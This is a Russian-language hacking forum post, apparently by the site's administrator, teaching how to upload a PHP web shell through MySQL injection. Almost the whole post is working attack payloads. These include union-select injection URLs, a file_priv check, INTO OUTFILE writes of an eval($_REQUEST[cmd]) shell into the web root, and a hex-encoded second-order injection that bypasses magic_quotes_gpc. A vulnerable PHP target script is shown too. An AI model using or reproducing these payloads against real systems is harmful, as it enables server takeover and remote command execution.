1. Do you speak English? Use the English version of the site! Link
    Скрыть объявление
Скрыть объявление
Здравствуй гость! После регистрации на ресурсе, ты сможешь скачивать материалы с форума и участвовать в его жизни! Для регистрации откройте соответствующую форму или нажмите на эту ссылку.

Заливка шелла через mysql injection

Тема в разделе "Взлом", создана пользователем AnGel, 16.10.2015.

  1. AnGel

    AnGel Администратор
    Команда форума

    Дек 04 2016 в 04:15
    Регистрация:
    27.08.2015
    Сообщения:
    1.780
    Симпатии:
    1.296
    Допустим у нас есть SQL инъекция с выводом:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+1,2,3--+1
    Узнаем имя пользователя БД, под которым мы сидим:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+1,user(),3--+1
    Проверяем, есть ли файловые привелегии у нашего юзера:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+1,file_priv,3+from+mysql.user+where+user='root'--+1
    Заливаем мини-шелл:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]);  ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1
    Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания:

    PHP:
    <?php 
    mysql_connect
    ('localhost','root',''); 
    mysql_select_db('test'); 
    $id=$_GET["id"]; 
    $sql "SELECT id,email,name FROM `user` where id=".$id
    $result mysql_query($sql);  
    while(
    $res mysql_fetch_array($result)) {
        echo 
    $res['email'].":".$res['name']."<br>";
        
    $sql2 mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]); 
        while(
    $res2 mysql_fetch_array($sql2)) 
            echo 
    $res2["uid"].':'.$res2["auto"]; 

    ?>
    Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2.
    Попробуем захексить кавычку и подставить в наш запрос:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+0x27,2,3--+1
    Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию
    Код:
    http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c6563742027646564272c3737372d2d2031,2,3--+1
    Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию:
    Код:
    http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c65637420273c3f706870206576616c28245f524551554553545b636d645d293b203f3e272c3737372066726f6d206d7973716c2e7573657220696e746f206f757466696c652027443a2f412f78616d70702f6874646f63732f73716c2f642e706870272d2d2031,2,3--+1
    Заливаем шелл запросом:
    Код:
    http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1
    Скачать видео: Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!
     
    lucefer, KeeperOffTheWar и denis7656 нравится это.